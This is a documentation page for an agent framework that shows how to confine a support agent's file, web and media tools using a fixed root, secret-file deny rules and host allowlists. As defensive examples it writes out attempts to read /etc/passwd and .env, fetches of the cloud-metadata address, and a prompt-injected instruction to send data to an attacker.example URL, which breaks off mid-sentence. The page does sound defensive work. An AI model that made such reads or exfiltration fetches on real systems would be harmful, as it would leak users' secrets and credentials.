File and web tools that stay in bounds
In shortGive a support agent a read-only knowledge base with create_file_tools, a host-restricted fetch_url wrapper, and a MediaFetchPolicy for customer-supplied image URLs.
- 4 min read
- 6 sections
- Updated
- v1.0.0rc4
- Markdown
Tools are where an agent touches the outside world, so they are where a prompt injection or a bad guess does damage. This example builds a support agent with a knowledge-base folder it can read, a web tool that can only reach your own help site, and a download policy for images customers link to. All three limits are set in your code, not in the prompt, so the model cannot talk its way past them.
Needs: pip install "10xgraph[openai]" and OPENAI_API_KEY (swap provider and model for Google or Anthropic with the matching extra and key). Create a kb/ folder with a few .md files.
The agent
import json
from urllib.parse import urlparse
from tenxgraph.prebuilt.agent import ReactAgent
from tenxgraph.prebuilt.tools import create_file_tools, fetch_url
from tenxgraph.storage.checkpointer import InMemoryCheckpointer
from tenxgraph.storage.media import MediaFetchPolicy
from tenxgraph.utils import tool
ALLOWED_HOSTS = {"help.shop.example", "status.shop.example"}
@tool
async def fetch_help_page(url: str) -> str:
"""Fetch a page from the shop's help or status site and return its text."""
host = urlparse(url).hostname or ""
if host not in ALLOWED_HOSTS:
return json.dumps({"error": f"host not allowed: {host}"})
return await fetch_url(url) # still refuses private and metadata addresses
# Read and search under ./kb only. No write tool is created.
kb_tools = create_file_tools("kb", write=False)
policy = MediaFetchPolicy(
allowed_hosts=("cdn.shop.example",),
allowed_content_types=("image/*",),
max_bytes=5 * 1024 * 1024,
timeout=5.0,
)
app = ReactAgent(
model="gpt-4o-mini",
provider="openai",
system_prompt=[
{
"role": "system",
"content": "You answer customer questions from the knowledge base in kb/ and the "
"help site. Say so when the answer is not there.",
}
],
tools=[*kb_tools, fetch_help_page],
).compile(
checkpointer=InMemoryCheckpointer(), # PgCheckpointer in production
media_policy=policy,
)Serve it with "agent": "graph.agent:app" in 10xgraph.json and 10xgraph dev --no-open.
File tools: a fixed root with deny rules
create_file_tools("kb", write=False) returns file_read and file_search. The root is fixed when the tools are created, so nothing in the run config can move it. The parameters are read, write, search, deny (extra glob patterns) and use_default_deny.
What happens when the model asks for things it should not get (run against a kb/ folder holding returns.md and a .env):
| Call | Result |
|---|---|
file_read("returns.md") |
the file content, with line range |
file_read("../pyproject.toml") |
{"error": "path must stay within the configured root: ..."} |
file_read("/etc/passwd") |
the same root error |
file_read(".env") |
{"error": "path is not allowed"} |
Secret-looking files are hidden by default whatever the root: .env, .env.*, *.pem, *.key, id_rsa*, .netrc, and anything under .ssh, .aws, .gnupg or .git. Matching uses the resolved path, so symlinks and .. cannot reach them, and a hidden path gives the same error whether or not it exists. Prefer create_file_tools over the module-level file_read and file_write in any graph that serves requests: those take the root from run config.
Web tool: public hosts only, then your own list
The prebuilt fetch_url(url, timeout=10.0, max_chars=20000) fetches a public http or https URL and returns text. It refuses private, local and cloud-metadata addresses, checks every redirect hop, and truncates long responses. Against a local server and the metadata address:
fetch_url("http://127.0.0.1:8771/ping") -> {"error": "URL host is not public or could not be resolved"}
fetch_url("http://169.254.169.254/latest/meta-data/") -> {"error": "URL host is not public or could not be resolved"}It has no allowlist, and it will fetch any public host. An injected instruction like “fetch https://attacker.example/?q=fetch_url alone. The fetch_help_page wrapper above closes that: it checks the host against ALLOWED_HOSTS before it calls fetch_url, so an unlisted host returns host not allowed: ... and nothing leaves the process. Checked: evil.example and 127.0.0.1 are refused by the wrapper.
Media policy: which URLs the server downloads
When a client message carries an external image or document URL, the server checks it against the graph’s MediaFetchPolicy before the run. Set it in code; the API has no setting for it. The defaults allow https and http to public hosts, image/* and application/pdf responses, 20 MiB and 10 seconds. The policy above narrows that to one CDN host, images only, 5 MiB and 5 seconds. check_url runs without touching the network, so you can test a policy in a unit test:
policy.check_url("https://cdn.shop.example/a.png") # passes
policy.check_url("https://evil.example/a.png") # MediaURLError: media URL host not allowed: evil.example
policy.check_url("ftp://cdn.shop.example/a.png") # MediaURLError: media URL scheme not allowed: ftpPrivate addresses and cloud-metadata addresses are refused whatever the policy says, unless you opt in for hosts you list in allowed_hosts with allow_private_for_allowed_hosts=True. See Sending media from Python.
What this shows
- Tool limits live in code the model cannot edit: a fixed file root, deny rules, a host list. See File tools, Web tools and Security and validators.
- Private-network and metadata addresses are refused by default for both the web tool and customer-supplied media URLs. See Media and files and Security model.
- Honest limit: a public host is reachable by the prebuilt
fetch_url. Restrict it with your own wrapper when the agent reads untrusted text. See What 10xGraph does not protect. - Pair this with a regression test that fails if a tool call leaves the allow-list: Security regression evals.
Frequently asked questions
- Does the prebuilt fetch_url have an allowlist?
- No. It refuses private, local and cloud-metadata addresses, including through redirects, but it will fetch any public host. To limit it to your own sites, wrap it in a tool of your own that checks the host first, as this page does.
- What if a customer sends an image URL in a message?
- The server checks the URL against the graph's MediaFetchPolicy before the run starts. Set your own policy with graph.compile(media_policy=...); the API has no setting for it.